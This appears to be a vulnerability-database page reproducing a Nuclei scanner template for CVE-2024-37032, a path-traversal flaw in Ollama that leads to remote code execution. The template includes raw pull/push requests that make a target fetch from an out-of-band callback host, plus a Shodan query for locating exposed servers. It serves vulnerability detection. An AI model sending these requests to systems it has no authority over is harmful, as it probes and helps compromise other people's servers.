Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2024-37032
HistoryJul 08, 2024 - 7:39 a.m.

Ollama - Remote Code Execution

2024-07-0807:39:01
ProjectDiscovery
github.com
9
cve2024
ollama
rce
sha256
validation
vulnerability
http
json
manifest

AI Score

6.8

Confidence

Low

EPSS

0.001

Percentile

29.4%

Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  metadata:
    verified: true
    max-request: 1
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and
# digest: 4a0a00473045022100a5fa33a756b90484a6e38030d236f0441e68f5e0568a583ecbce5ccc179ec12e022067ed5562eb8a263a887821208641b1c7337d73b10359302495c184e4d1145db2:922c64590222798bb761d5b6d8e72950

AI Score

6.8

Confidence

Low

EPSS

0.001

Percentile

29.4%